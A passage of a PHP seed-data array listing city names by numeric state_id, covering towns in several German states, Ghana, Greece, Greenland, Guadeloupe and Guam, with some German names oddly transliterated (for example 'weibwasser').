=> 'sebnitz'],\n ['state_id' => '1393', 'name' => 'stollberg'],\n ['state_id' => '1393', 'name' => 'taubenheim'],\n ['state_id' => '1393', 'name' => 'taucha'],\n ['state_id' => '1393', 'name' => 'thalheim'],\n ['state_id' => '1393', 'name' => 'torgau'],\n ['state_id' => '1393', 'name' => 'waldheim'],\n ['state_id' => '1393', 'name' => 'weibwasser'],\n ['state_id' => '1393', 'name' => 'werdau'],\n ['state_id' => '1393', 'name' => 'wilkau-hablau'],\n ['state_id' => '1393', 'name' => 'wurzen'],\n ['state_id' => '1393', 'name' => 'zittau'],\n ['state_id' => '1393', 'name' => 'zschopau'],\n ['state_id' => '1393', 'name' => 'zwickau'],\n ['state_id' => '1393', 'name' => 'zwonitz'],\n ['state_id' => '1394', 'name' => 'aken'],\n ['state_id' => '1394', 'name' => 'aschersleben'],\n ['state_id' => '1394', 'name' => 'bad durrenberg'],\n ['state_id' => '1394', 'name' => 'bebitz'],\n ['state_id' => '1394', 'name' => 'bernburg'],\n ['state_id' => '1394', 'name' => 'bitterfeld'],\n ['state_id' => '1394', 'name' => 'blankenburg'],\n ['state_id' => '1394', 'name' => 'braunsbedra'],\n ['state_id' => '1394', 'name' => 'burg'],\n ['state_id' => '1394', 'name' => 'calbe'],\n ['state_id' => '1394', 'name' => 'coswig'],\n ['state_id' => '1394', 'name' => 'dessau'],\n ['state_id' => '1394', 'name' => 'eisleben'],\n ['state_id' => '1394', 'name' => 'gardelegen'],\n ['state_id' => '1394', 'name' => 'genthin'],\n ['state_id' => '1394', 'name' => 'gommern'],\n ['state_id' => '1394', 'name' => 'grafenhainichen'],\n ['state_id' => '1394', 'name' => 'halberstadt'],\n ['state_id' => '1394', 'name' => 'haldensleben'],\n ['state_id' => '1394', 'name' => 'halle'],\n ['state_id' => '1394', 'name' => 'hettstedt'],\n ['state_id' => '1394', 'name' => 'heyrothsberge'],\n ['state_id' => '1394', 'name' => 'hotensleben'],\n ['state_id' => '1394', 'name' => 'kothen'],\n ['state_id' => '1394', 'name' => 'leuna'],\n ['state_id' => '1394', 'name' => 'magdeburg'],\n ['state_id' => '1394', 'name' => 'merseburg'],\n ['state_id' => '1394', 'name' => 'naumburg'],\n ['state_id' => '1394', 'name' => 'oschersleben'],\n ['state_id' => '1394', 'name' => 'osterburg'],\n ['state_id' => '1394', 'name' => 'osterwieck'],\n ['state_id' => '1394', 'name' => 'quedlinburg'],\n ['state_id' => '1394', 'name' => 'querfurt'],\n ['state_id' => '1394', 'name' => 'raguhn'],\n ['state_id' => '1394', 'name' => 'roblau'],\n ['state_id' => '1394', 'name' => 'salzwedel'],\n ['state_id' => '1394', 'name' => 'sangerhausen'],\n ['state_id' => '1394', 'name' => 'schonebeck'],\n ['state_id' => '1394', 'name' => 'stabfurt'],\n ['state_id' => '1394', 'name' => 'stendal'],\n ['state_id' => '1394', 'name' => 'tangermunde'],\n ['state_id' => '1394', 'name' => 'thale'],\n ['state_id' => '1394', 'name' => 'weibenfels'],\n ['state_id' => '1394', 'name' => 'wittenberg'],\n ['state_id' => '1394', 'name' => 'wolfen'],\n ['state_id' => '1394', 'name' => 'wolmirstedt'],\n ['state_id' => '1394', 'name' => 'zeitz'],\n ['state_id' => '1394', 'name' => 'zerbst'],\n ['state_id' => '1395', 'name' => 'bad lausick'],\n ['state_id' => '1395', 'name' => 'bernsdorf'],\n ['state_id' => '1395', 'name' => 'borde-hakel'],\n ['state_id' => '1395', 'name' => 'gelenau'],\n ['state_id' => '1395', 'name' => 'groberkmannsdorf '],\n ['state_id' => '1395', 'name' => 'hartha'],\n ['state_id' => '1395', 'name' => 'kreischa'],\n ['state_id' => '1395', 'name' => 'malschwitz'],\n ['state_id' => '1395', 'name' => 'naunhof'],\n ['state_id' => '1395', 'name' => 'pausa'],\n ['state_id' => '1395', 'name' => 'seiffen'],\n ['state_id' => '1395', 'name' => 'stutzengrun'],\n ['state_id' => '1396', 'name' => 'ahrensbok'],\n ['state_id' => '1396', 'name' => 'ahrensburg'],\n ['state_id' => '1396', 'name' => 'altenholz'],\n ['state_id' => '1396', 'name' => 'alveslohe'],\n ['state_id' => '1396', 'name' => 'ammersbek'],\n ['state_id' => '1396', 'name' => 'bad bramstedt'],\n ['state_id' => '1396', 'name' => 'bad oldesloe'],\n ['state_id' => '1396', 'name' => 'bad schwartau'],\n ['state_id' => '1396', 'name' => 'bad segeberg'],\n ['state_id' => '1396', 'name' => 'bargteheide'],\n ['state_id' => '1396', 'name' => 'barmstedt'],\n ['state_id' => '1396', 'name' => 'barsbuttel'],\n ['state_id' => '1396', 'name' => 'bredstedt'],\n ['state_id' => '1396', 'name' => 'brunsbuttel'],\n ['state_id' => '1396', 'name' => 'budelsdorf'],\n ['state_id' => '1396', 'name' => 'eckernforde'],\n ['state_id' => '1396', 'name' => 'eddelak'],\n ['state_id' => '1396', 'name' => 'elmshorn'],\n ['state_id' => '1396', 'name' => 'eutin'],\n ['state_id' => '1396', 'name' => 'flensburg'],\n ['state_id' => '1396', 'name' => 'friedrichstadt'],\n ['state_id' => '1396', 'name' => 'geesthacht'],\n ['state_id' => '1396', 'name' => 'glinde'],\n ['state_id' => '1396', 'name' => 'gluckstadt'],\n ['state_id' => '1396', 'name' => 'grob pampau'],\n ['state_id' => '1396', 'name' => 'halstenbek'],\n ['state_id' => '1396', 'name' => 'hamfelde'],\n ['state_id' => '1396', 'name' => 'harrislee'],\n ['state_id' => '1396', 'name' => 'hartenholm'],\n ['state_id' => '1396', 'name' => 'heide'],\n ['state_id' => '1396', 'name' => 'heiligenhafen'],\n ['state_id' => '1396', 'name' => 'henstedt-ulzburg'],\n ['state_id' => '1396', 'name' => 'honenwestedt'],\n ['state_id' => '1396', 'name' => 'husum'],\n ['state_id' => '1396', 'name' => 'itzehoe'],\n ['state_id' => '1396', 'name' => 'kaltenkirchen'],\n ['state_id' => '1396', 'name' => 'kappeln'],\n ['state_id' => '1396', 'name' => 'kiel'],\n ['state_id' => '1396', 'name' => 'kronshagen'],\n ['state_id' => '1396', 'name' => 'lauenburg'],\n ['state_id' => '1396', 'name' => 'lensahn'],\n ['state_id' => '1396', 'name' => 'lubeck'],\n ['state_id' => '1396', 'name' => 'malente'],\n ['state_id' => '1396', 'name' => 'mielkendorf'],\n ['state_id' => '1396', 'name' => 'molfsee'],\n ['state_id' => '1396', 'name' => 'molln'],\n ['state_id' => '1396', 'name' => 'neuenbrook'],\n ['state_id' => '1396', 'name' => 'neumunster'],\n ['state_id' => '1396', 'name' => 'neustadt'],\n ['state_id' => '1396', 'name' => 'norderstedt'],\n ['state_id' => '1396', 'name' => 'oldenburg'],\n ['state_id' => '1396', 'name' => 'oststeinbek'],\n ['state_id' => '1396', 'name' => 'pinneberg'],\n ['state_id' => '1396', 'name' => 'plon'],\n ['state_id' => '1396', 'name' => 'preetz'],\n ['state_id' => '1396', 'name' => 'quickborn'],\n ['state_id' => '1396', 'name' => 'ratekau'],\n ['state_id' => '1396', 'name' => 'ratzeburg'],\n ['state_id' => '1396', 'name' => 'reinbek'],\n ['state_id' => '1396', 'name' => 'reinfeld'],\n ['state_id' => '1396', 'name' => 'rellingen'],\n ['state_id' => '1396', 'name' => 'rendsburg'],\n ['state_id' => '1396', 'name' => 'rethwisch'],\n ['state_id' => '1396', 'name' => 'satrup'],\n ['state_id' => '1396', 'name' => 'scharbeutz'],\n ['state_id' => '1396', 'name' => 'schenefeld'],\n ['state_id' => '1396', 'name' => 'schleswig'],\n ['state_id' => '1396', 'name' => 'schmalfeld'],\n ['state_id' => '1396', 'name' => 'schoenkirchen'],\n ['state_id' => '1396', 'name' => 'schwarzenbek'],\n ['state_id' => '1396', 'name' => 'seefeld'],\n ['state_id' => '1396', 'name' => 'sievershutten'],\n ['state_id' => '1396', 'name' => 'stockelsdorf'],\n ['state_id' => '1396', 'name' => 'tangstedt'],\n ['state_id' => '1396', 'name' => 'timmendorfer strand'],\n ['state_id' => '1396', 'name' => 'tornesch'],\n ['state_id' => '1396', 'name' => 'travemunde'],\n ['state_id' => '1396', 'name' => 'uetersen'],\n ['state_id' => '1396', 'name' => 'wahlstedt'],\n ['state_id' => '1396', 'name' => 'wedel'],\n ['state_id' => '1396', 'name' => 'wentorf'],\n ['state_id' => '1396', 'name' => 'westerland'],\n ['state_id' => '1396', 'name' => 'westerronfeld'],\n ['state_id' => '1396', 'name' => 'wohltorf'],\n ['state_id' => '1396', 'name' => 'wotersen'],\n ['state_id' => '1397', 'name' => 'altenburg'],\n ['state_id' => '1397', 'name' => 'apolda'],\n ['state_id' => '1397', 'name' => 'arnstadt'],\n ['state_id' => '1397', 'name' => 'bad frankenhausen'],\n ['state_id' => '1397', 'name' => 'bad langensalza'],\n ['state_id' => '1397', 'name' => 'bad salzungen'],\n ['state_id' => '1397', 'name' => 'cursdorf'],\n ['state_id' => '1397', 'name' => 'dornburg'],\n ['state_id' => '1397', 'name' => 'eisenach'],\n ['state_id' => '1397', 'name' => 'eisenberg'],\n ['state_id' => '1397', 'name' => 'erfurt'],\n ['state_id' => '1397', 'name' => 'gera'],\n ['state_id' => '1397', 'name' => 'geschwenda'],\n ['state_id' => '1397', 'name' => 'gotha'],\n ['state_id' => '1397', 'name' => 'greiz'],\n ['state_id' => '1397', 'name' => 'heiligenstadt'],\n ['state_id' => '1397', 'name' => 'hermsdorf'],\n ['state_id' => '1397', 'name' => 'hildburghausen'],\n ['state_id' => '1397', 'name' => 'ilmenau'],\n ['state_id' => '1397', 'name' => 'immelborn'],\n ['state_id' => '1397', 'name' => 'jena'],\n ['state_id' => '1397', 'name' => 'leinefelde'],\n ['state_id' => '1397', 'name' => 'leutenberg'],\n ['state_id' => '1397', 'name' => 'meiningen'],\n ['state_id' => '1397', 'name' => 'meuselwitz'],\n ['state_id' => '1397', 'name' => 'muhlhausen'],\n ['state_id' => '1397', 'name' => 'neustadt'],\n ['state_id' => '1397', 'name' => 'nordhausen'],\n ['state_id' => '1397', 'name' => 'pobneck'],\n ['state_id' => '1397', 'name' => 'rosenthal'],\n ['state_id' => '1397', 'name' => 'rositz'],\n ['state_id' => '1397', 'name' => 'rudolstadt'],\n ['state_id' => '1397', 'name' => 'ruhla'],\n ['state_id' => '1397', 'name' => 'saalfeld'],\n ['state_id' => '1397', 'name' => 'schmalkalden'],\n ['state_id' => '1397', 'name' => 'schmolln'],\n ['state_id' => '1397', 'name' => 'sommerda'],\n ['state_id' => '1397', 'name' => 'sondershausen'],\n ['state_id' => '1397', 'name' => 'sonneberg'],\n ['state_id' => '1397', 'name' => 'suhl'],\n ['state_id' => '1397', 'name' => 'triptis'],\n ['state_id' => '1397', 'name' => 'uhlstadt'],\n ['state_id' => '1397', 'name' => 'waltershausen'],\n ['state_id' => '1397', 'name' => 'weida'],\n ['state_id' => '1397', 'name' => 'weimar'],\n ['state_id' => '1397', 'name' => 'wernigerode'],\n ['state_id' => '1397', 'name' => 'wormstedt'],\n ['state_id' => '1397', 'name' => 'zella-mehlis'],\n ['state_id' => '1397', 'name' => 'zeulenroda'],\n ['state_id' => '1398', 'name' => 'webling'],\n ['state_id' => '1399', 'name' => 'neustadt'],\n ['state_id' => '1400', 'name' => 'schlobborn'],\n ['state_id' => '1401', 'name' => 'agogo'],\n ['state_id' => '1401', 'name' => 'bekwai'],\n ['state_id' => '1401', 'name' => 'konongo'],\n ['state_id' => '1401', 'name' => 'kumasi'],\n ['state_id' => '1401', 'name' => 'mampong'],\n ['state_id' => '1401', 'name' => 'mankranso'],\n ['state_id' => '1401', 'name' => 'obuasi'],\n ['state_id' => '1401', 'name' => 'ofinso'],\n ['state_id' => '1401', 'name' => 'tafo'],\n ['state_id' => '1402', 'name' => 'bechem'],\n ['state_id' => '1402', 'name' => 'berekum'],\n ['state_id' => '1402', 'name' => 'duayaw nkwanta'],\n ['state_id' => '1402', 'name' => 'kintampo'],\n ['state_id' => '1402', 'name' => 'sunyani'],\n ['state_id' => '1402', 'name' => 'techiman'],\n ['state_id' => '1402', 'name' => 'wenchi'],\n ['state_id' => '1403', 'name' => 'apam'],\n ['state_id' => '1403', 'name' => 'cape coast'],\n ['state_id' => '1403', 'name' => 'dunkwa'],\n ['state_id' => '1403', 'name' => 'elmina'],\n ['state_id' => '1403', 'name' => 'foso'],\n ['state_id' => '1403', 'name' => 'komenda'],\n ['state_id' => '1403', 'name' => 'mauri'],\n ['state_id' => '1403', 'name' => 'mumford'],\n ['state_id' => '1403', 'name' => 'nyakrom'],\n ['state_id' => '1403', 'name' => 'okitsiu'],\n ['state_id' => '1403', 'name' => 'saltpond'],\n ['state_id' => '1403', 'name' => 'swedru'],\n ['state_id' => '1403', 'name' => 'winneba'],\n ['state_id' => '1404', 'name' => 'aburi'],\n ['state_id' => '1404', 'name' => 'ada'],\n ['state_id' => '1404', 'name' => 'akim swedru'],\n ['state_id' => '1404', 'name' => 'akropong'],\n ['state_id' => '1404', 'name' => 'asamankese'],\n ['state_id' => '1404', 'name' => 'begoro'],\n ['state_id' => '1404', 'name' => 'kade'],\n ['state_id' => '1404', 'name' => 'kibi'],\n ['state_id' => '1404', 'name' => 'koforidua'],\n ['state_id' => '1404', 'name' => 'mpraeso'],\n ['state_id' => '1404', 'name' => 'nkawkaw'],\n ['state_id' => '1404', 'name' => 'nsawam'],\n ['state_id' => '1404', 'name' => 'oda'],\n ['state_id' => '1404', 'name' => 'somanya'],\n ['state_id' => '1404', 'name' => 'suhum'],\n ['state_id' => '1406', 'name' => 'kpandae'],\n ['state_id' => '1406', 'name' => 'salaga'],\n ['state_id' => '1406', 'name' => 'savelugu'],\n ['state_id' => '1406', 'name' => 'tamale'],\n ['state_id' => '1406', 'name' => 'yendi'],\n ['state_id' => '1409', 'name' => 'aflao'],\n ['state_id' => '1409', 'name' => 'anloga'],\n ['state_id' => '1409', 'name' => 'ho'],\n ['state_id' => '1409', 'name' => 'hohoe'],\n ['state_id' => '1409', 'name' => 'keta'],\n ['state_id' => '1409', 'name' => 'kete-krachi'],\n ['state_id' => '1409', 'name' => 'kpandu'],\n ['state_id' => '1410', 'name' => 'aboso'],\n ['state_id' => '1410', 'name' => 'anomabu'],\n ['state_id' => '1410', 'name' => 'axim'],\n ['state_id' => '1410', 'name' => 'bibiani'],\n ['state_id' => '1410', 'name' => 'prestea'],\n ['state_id' => '1410', 'name' => 'sekondi'],\n ['state_id' => '1410', 'name' => 'shama'],\n ['state_id' => '1410', 'name' => 'takoradi'],\n ['state_id' => '1410', 'name' => 'tarkwa'],\n ['state_id' => '1411', 'name' => 'gibraltar'],\n ['state_id' => '1412', 'name' => 'elassonos'],\n ['state_id' => '1413', 'name' => 'aiyion'],\n ['state_id' => '1413', 'name' => 'patra'],\n ['state_id' => '1415', 'name' => 'argos'],\n ['state_id' => '1415', 'name' => 'navplion'],\n ['state_id' => '1416', 'name' => 'tripoli'],\n ['state_id' => '1417', 'name' => 'arta'],\n ['state_id' => '1418', 'name' => 'acharnes'],\n ['state_id' => '1418', 'name' => 'agios ioannis rentis'],\n ['state_id' => '1418', 'name' => 'drapetsona'],\n ['state_id' => '1418', 'name' => 'koropi'],\n ['state_id' => '1418', 'name' => 'lavrion'],\n ['state_id' => '1418', 'name' => 'mandra'],\n ['state_id' => '1418', 'name' => 'spata'],\n ['state_id' => '1419', 'name' => 'aharna'],\n ['state_id' => '1419', 'name' => 'aiyaleo'],\n ['state_id' => '1419', 'name' => 'alimos'],\n ['state_id' => '1419', 'name' => 'amarousion'],\n ['state_id' => '1419', 'name' => 'ano liosia'],\n ['state_id' => '1419', 'name' => 'aryiroupoli'],\n ['state_id' => '1419', 'name' => 'aspropirgos'],\n ['state_id' => '1419', 'name' => 'athina'],\n ['state_id' => '1419', 'name' => 'athinai'],\n ['state_id' => '1419', 'name' => 'ayia barbara'],\n ['state_id' => '1419', 'name' => 'ayia paraskevi'],\n ['state_id' => '1419', 'name' => 'ayios anaryiros'],\n ['state_id' => '1419', 'name' => 'ayios dimitrios'],\n ['state_id' => '1419', 'name' => 'dafne'],\n ['state_id' => '1419', 'name' => 'elevsis'],\n ['state_id' => '1419', 'name' => 'ellenikon'],\n ['state_id' => '1419', 'name' => 'galatsion'],\n ['state_id' => '1419', 'name' => 'glifada'],\n ['state_id' => '1419', 'name' => 'haidarion'],\n ['state_id' => '1419', 'name' => 'halandrion'],\n ['state_id' => '1419', 'name' => 'holargos'],\n ['state_id' => '1419', 'name' => 'ilioupoli'],\n ['state_id' => '1419', 'name' => 'iraklion'],\n ['state_id' => '1419', 'name' => 'kaisariani'],\n ['state_id' => '1419', 'name' => 'kallithea'],\n ['state_id' => '1419', 'name' => 'kamateron'],\n ['state_id' => '1419', 'name' => 'keratea'],\n ['state_id' => '1419', 'name' => 'keratsinion'],\n ['state_id' => '1419', 'name' => 'kifisia'],\n ['state_id' => '1419', 'name' => 'koridallos'],\n ['state_id' => '1419', 'name' => 'kropion'],\n ['state_id' => '1419', 'name' => 'markopoulos mesogaia'],\n ['state_id' => '1419', 'name' => 'maroussi'],\n ['state_id' => '1419', 'name' => 'megara'],\n ['state_id' => '1419', 'name' => 'melission'],\n ['state_id' => '1419', 'name' => 'metamorfosios'],\n ['state_id' => '1419', 'name' => 'moshatos'],\n ['state_id' => '1419', 'name' => 'nea filedelfia'],\n ['state_id' => '1419', 'name' => 'nea ionia'],\n ['state_id' => '1419', 'name' => 'nea liosia'],\n ['state_id' => '1419', 'name' => 'nea smirni'],\n ['state_id' => '1419', 'name' => 'nikaia'],\n ['state_id' => '1419', 'name' => 'palaion faliron'],\n ['state_id' => '1419', 'name' => 'perama'],\n ['state_id' => '1419', 'name' => 'peristerion'],\n ['state_id' => '1419', 'name' => 'petroupoli'],\n ['state_id' => '1419', 'name' => 'pevka'],\n ['state_id' => '1419', 'name' => 'piraeus'],\n ['state_id' => '1419', 'name' => 'salamis'],\n ['state_id' => '1419', 'name' => 'tavros'],\n ['state_id' => '1419', 'name' => 'viron'],\n ['state_id' => '1419', 'name' => 'voula'],\n ['state_id' => '1419', 'name' => 'vrilission'],\n ['state_id' => '1419', 'name' => 'zografos'],\n ['state_id' => '1421', 'name' => 'heraklion'],\n ['state_id' => '1422', 'name' => 'arhangelos'],\n ['state_id' => '1422', 'name' => 'ialysos'],\n ['state_id' => '1422', 'name' => 'kos'],\n ['state_id' => '1422', 'name' => 'rodos'],\n ['state_id' => '1423', 'name' => 'drama'],\n ['state_id' => '1424', 'name' => 'chalkis'],\n ['state_id' => '1425', 'name' => 'karpenisi'],\n ['state_id' => '1426', 'name' => 'alexandroupoli'],\n ['state_id' => '1426', 'name' => 'orestias'],\n ['state_id' => '1427', 'name' => 'halkida'],\n ['state_id' => '1428', 'name' => 'florina'],\n ['state_id' => '1429', 'name' => 'amfissa'],\n ['state_id' => '1430', 'name' => 'lamia'],\n ['state_id' => '1431', 'name' => 'grevena'],\n ['state_id' => '1432', 'name' => 'halandri'],\n ['state_id' => '1433', 'name' => 'lakkoma'],\n ['state_id' => '1433', 'name' => 'n. kallikrateia'],\n ['state_id' => '1433', 'name' => 'poliyiros'],\n ['state_id' => '1434', 'name' => 'hania'],\n ['state_id' => '1435', 'name' => 'crete'],\n ['state_id' => '1436', 'name' => 'hios'],\n ['state_id' => '1437', 'name' => 'pirgos'],\n ['state_id' => '1438', 'name' => 'veroia'],\n ['state_id' => '1439', 'name' => 'ioannina'],\n ['state_id' => '1441', 'name' => 'karditsa'],\n ['state_id' => '1442', 'name' => 'kastoria'],\n ['state_id' => '1443', 'name' => 'kavala'],\n ['state_id' => '1444', 'name' => 'agioi theodoroi'],\n ['state_id' => '1444', 'name' => 'argostolion'],\n ['state_id' => '1445', 'name' => 'kerkira'],\n ['state_id' => '1446', 'name' => 'ermoupoli'],\n ['state_id' => '1446', 'name' => 'fira'],\n ['state_id' => '1446', 'name' => 'mikonos'],\n ['state_id' => '1447', 'name' => 'kilkis'],\n ['state_id' => '1448', 'name' => 'korinthos'],\n ['state_id' => '1449', 'name' => 'kozani'],\n ['state_id' => '1449', 'name' => 'ptolemais'],\n ['state_id' => '1450', 'name' => 'sparti'],\n ['state_id' => '1451', 'name' => 'larisa'],\n ['state_id' => '1451', 'name' => 'larissa'],\n ['state_id' => '1452', 'name' => 'ayios nikolaos'],\n ['state_id' => '1452', 'name' => 'ierapetra'],\n ['state_id' => '1452', 'name' => 'sitia'],\n ['state_id' => '1453', 'name' => 'mitilini'],\n ['state_id' => '1454', 'name' => 'levkas'],\n ['state_id' => '1455', 'name' => 'volos'],\n ['state_id' => '1456', 'name' => 'kalamata'],\n ['state_id' => '1459', 'name' => 'edessa'],\n ['state_id' => '1459', 'name' => 'yiannitsa'],\n ['state_id' => '1460', 'name' => 'katerini'],\n ['state_id' => '1461', 'name' => 'acharne'],\n ['state_id' => '1461', 'name' => 'pallini'],\n ['state_id' => '1462', 'name' => 'preveza'],\n ['state_id' => '1463', 'name' => 'rethimnon'],\n ['state_id' => '1464', 'name' => 'komotini'],\n ['state_id' => '1465', 'name' => 'samos'],\n ['state_id' => '1466', 'name' => 'serrai'],\n ['state_id' => '1467', 'name' => 'igoumenitsa'],\n ['state_id' => '1468', 'name' => 'ampelokipa'],\n ['state_id' => '1468', 'name' => 'kalamaria'],\n ['state_id' => '1468', 'name' => 'neapoli'],\n ['state_id' => '1468', 'name' => 'oristiada'],\n ['state_id' => '1468', 'name' => 'thessaloniki'],\n ['state_id' => '1469', 'name' => 'trikala'],\n ['state_id' => '1470', 'name' => 'levadia'],\n ['state_id' => '1470', 'name' => 'thivai'],\n ['state_id' => '1472', 'name' => 'xanthi'],\n ['state_id' => '1473', 'name' => 'zakinthos'],\n ['state_id' => '1474', 'name' => 'aasiaat'],\n ['state_id' => '1474', 'name' => 'akunnaaq'],\n ['state_id' => '1474', 'name' => 'kitsissuarsuit'],\n ['state_id' => '1475', 'name' => 'ikkatteq'],\n ['state_id' => '1475', 'name' => 'isortoq'],\n ['state_id' => '1475', 'name' => 'kulusuk'],\n ['state_id' => '1475', 'name' => 'kuumiut'],\n ['state_id' => '1475', 'name' => 'qernertuarssuit'],\n ['state_id' => '1475', 'name' => 'sermiligaaq'],\n ['state_id' => '1475', 'name' => 'tasiilaq'],\n ['state_id' => '1475', 'name' => 'tiniteqilaaq'],\n ['state_id' => '1476', 'name' => 'illoqqortoormiut'],\n ['state_id' => '1476', 'name' => 'itterajivit'],\n ['state_id' => '1476', 'name' => 'uunarteq'],\n ['state_id' => '1477', 'name' => 'ilimanaq'],\n ['state_id' => '1477', 'name' => 'ilulissat'],\n ['state_id' => '1477', 'name' => 'oqaatsut'],\n ['state_id' => '1477', 'name' => 'qeqertaq'],\n ['state_id' => '1477', 'name' => 'saqqaq'],\n ['state_id' => '1478', 'name' => 'ivittuut'],\n ['state_id' => '1478', 'name' => 'kangilinnguit'],\n ['state_id' => '1479', 'name' => 'attu'],\n ['state_id' => '1479', 'name' => 'iginniarfik'],\n ['state_id' => '1479', 'name' => 'ikerasaarsuk'],\n ['state_id' => '1479', 'name' => 'kangaatsiaq'],\n ['state_id' => '1479', 'name' => 'niaqornaarsuk'],\n ['state_id' => '1480', 'name' => 'atammik'],\n ['state_id' => '1480', 'name' => 'kangaamiut'],\n ['state_id' => '1480', 'name' => 'maniitsoq'],\n ['state_id' => '1480', 'name' => 'napasoq'],\n ['state_id' => '1481', 'name' => 'aappilattoq'],\n ['state_id' => '1481', 'name' => 'akuliaruseq'],\n ['state_id' => '1481', 'name' => 'alluitsoq'],\n ['state_id' => '1481', 'name' => 'alluitsup paa'],\n ['state_id' => '1481', 'name' => 'ammassivik'],\n ['state_id' => '1481', 'name' => 'ikerasassuaq'],\n ['state_id' => '1481', 'name' => 'nanortalik'],\n ['state_id' => '1481', 'name' => 'narsarmijit'],\n ['state_id' => '1481', 'name' => 'nuugaarsuk'],\n ['state_id' => '1481', 'name' => 'qallimiut'],\n ['state_id' => '1481', 'name' => 'qortortorsuaq'],\n ['state_id' => '1481', 'name' => 'tasiusaq'],\n ['state_id' => '1482', 'name' => 'amannguit'],\n ['state_id' => '1482', 'name' => 'atarnaatsoq'],\n ['state_id' => '1482', 'name' => 'eqaluit ilua'],\n ['state_id' => '1482', 'name' => 'igaliku'],\n ['state_id' => '1482', 'name' => 'igaliku kujalleq'],\n ['state_id' => '1482', 'name' => 'inneruulalik'],\n ['state_id' => '1482', 'name' => 'issormiut'],\n ['state_id' => '1482', 'name' => 'iterlak'],\n ['state_id' => '1482', 'name' => 'kangerlua'],\n ['state_id' => '1482', 'name' => 'narsaq'],\n ['state_id' => '1482', 'name' => 'narsarsuaq'],\n ['state_id' => '1482', 'name' => 'nunataaq'],\n ['state_id' => '1482', 'name' => 'qassiarsuk'],\n ['state_id' => '1482', 'name' => 'qinngua'],\n ['state_id' => '1482', 'name' => 'qinngua kangilleq'],\n ['state_id' => '1482', 'name' => 'qolortup itinnera'],\n ['state_id' => '1482', 'name' => 'sillisit'],\n ['state_id' => '1482', 'name' => 'tasiusaq'],\n ['state_id' => '1482', 'name' => 'timerliit'],\n ['state_id' => '1482', 'name' => 'uummannartuuaraq'],\n ['state_id' => '1483', 'name' => 'kangerluarsoruseq'],\n ['state_id' => '1483', 'name' => 'kapisillit'],\n ['state_id' => '1483', 'name' => 'neriunaq'],\n ['state_id' => '1483', 'name' => 'nuuk'],\n ['state_id' => '1483', 'name' => 'qeqertarsuatsiaat'],\n ['state_id' => '1483', 'name' => 'qooqqut'],\n ['state_id' => '1483', 'name' => 'qoornoq'],\n ['state_id' => '1484', 'name' => 'arsuk'],\n ['state_id' => '1484', 'name' => 'paamiut'],\n ['state_id' => '1485', 'name' => 'moriusaq'],\n ['state_id' => '1485', 'name' => 'qaanaaq'],\n ['state_id' => '1485', 'name' => 'qeqertarsuaq'],\n ['state_id' => '1485', 'name' => 'qeqertat'],\n ['state_id' => '1485', 'name' => 'savissivik'],\n ['state_id' => '1485', 'name' => 'siorapaluk'],\n ['state_id' => '1486', 'name' => 'eqalugaarsuit'],\n ['state_id' => '1486', 'name' => 'illorsuit'],\n ['state_id' => '1486', 'name' => 'kangerluarsorujuk'],\n ['state_id' => '1486', 'name' => 'kangerluarsorujuup qinngua'],\n ['state_id' => '1486', 'name' => 'qanisartuut'],\n ['state_id' => '1486', 'name' => 'qaqortokolook'],\n ['state_id' => '1486', 'name' => 'qaqortoq'],\n ['state_id' => '1486', 'name' => 'qassimiut'],\n ['state_id' => '1486', 'name' => 'saarloq'],\n ['state_id' => '1486', 'name' => 'saqqamiut'],\n ['state_id' => '1486', 'name' => 'tasiluk'],\n ['state_id' => '1486', 'name' => 'upernaviarsuk'],\n ['state_id' => '1487', 'name' => 'ikamiut'],\n ['state_id' => '1487', 'name' => 'qasigiannguit'],\n ['state_id' => '1488', 'name' => 'kangerluk'],\n ['state_id' => '1488', 'name' => 'qeqertarsuaq'],\n ['state_id' => '1489', 'name' => 'itilleq'],\n ['state_id' => '1489', 'name' => 'kangerlussuaq'],\n ['state_id' => '1489', 'name' => 'sarfannguit'],\n ['state_id' => '1489', 'name' => 'sisimiut'],\n ['state_id' => '1491', 'name' => 'aappilattoq'],\n ['state_id' => '1491', 'name' => 'ikerakuuk'],\n ['state_id' => '1491', 'name' => 'innarsuit'],\n ['state_id' => '1491', 'name' => 'kangersuatsiaq'],\n ['state_id' => '1491', 'name' => 'kullorsuaq'],\n ['state_id' => '1491', 'name' => 'naajaat'],\n ['state_id' => '1491', 'name' => 'nutaarmiut'],\n ['state_id' => '1491', 'name' => 'nuusuaq'],\n ['state_id' => '1491', 'name' => 'tasiusaq'],\n ['state_id' => '1491', 'name' => 'upernavik'],\n ['state_id' => '1491', 'name' => 'upernavik kujalleq'],\n ['state_id' => '1492', 'name' => 'ikerasak'],\n ['state_id' => '1492', 'name' => 'illorsuit'],\n ['state_id' => '1492', 'name' => 'niaqornat'],\n ['state_id' => '1492', 'name' => 'nuugaatsiaq'],\n ['state_id' => '1492', 'name' => 'qaarsut'],\n ['state_id' => '1492', 'name' => 'saattut'],\n ['state_id' => '1492', 'name' => 'ukkusissat'],\n ['state_id' => '1492', 'name' => 'uummannaq'],\n ['state_id' => '1500', 'name' => 'baie-mahault'],\n ['state_id' => '1500', 'name' => 'baillif'],\n ['state_id' => '1500', 'name' => 'basse-terre'],\n ['state_id' => '1500', 'name' => 'bouillante'],\n ['state_id' => '1500', 'name' => 'capesterre-belle-eau'],\n ['state_id' => '1500', 'name' => 'gourbeyre'],\n ['state_id' => '1500', 'name' => 'lamentin'],\n ['state_id' => '1500', 'name' => 'petit-bourg'],\n ['state_id' => '1500', 'name' => 'pointe-noire'],\n ['state_id' => '1500', 'name' => 'saint-claude'],\n ['state_id' => '1500', 'name' => 'sainte-rose'],\n ['state_id' => '1500', 'name' => 'trois-rivieres'],\n ['state_id' => '1500', 'name' => 'vieux-habitants'],\n ['state_id' => '1501', 'name' => 'anse-bertrand'],\n ['state_id' => '1501', 'name' => 'le gosier'],\n ['state_id' => '1501', 'name' => 'le moule'],\n ['state_id' => '1501', 'name' => 'les abymes'],\n ['state_id' => '1501', 'name' => 'morne-a-l\\'eau'],\n ['state_id' => '1501', 'name' => 'petit-canal'],\n ['state_id' => '1501', 'name' => 'point-a-pitre'],\n ['state_id' => '1501', 'name' => 'port-louis'],\n ['state_id' => '1501', 'name' => 'saint-francois'],\n ['state_id' => '1501', 'name' => 'sainte-anne'],\n ['state_id' => '1504', 'name' => 'grand-bourg'],\n ['state_id' => '1508', 'name' => 'agat'],\n ['state_id' => '1509', 'name' => 'barrigada'],\n ['state_id' => '1509', 'name' => 'barrigada heights'],\n ['state_id' => '1510', 'name' => 'chalan pago'],\n ['state_id' => '1510', 'name' => 'ordot'],\n ['state_id' => '1511', 'name' => 'astumbo'],\n ['state_id' => '1511', 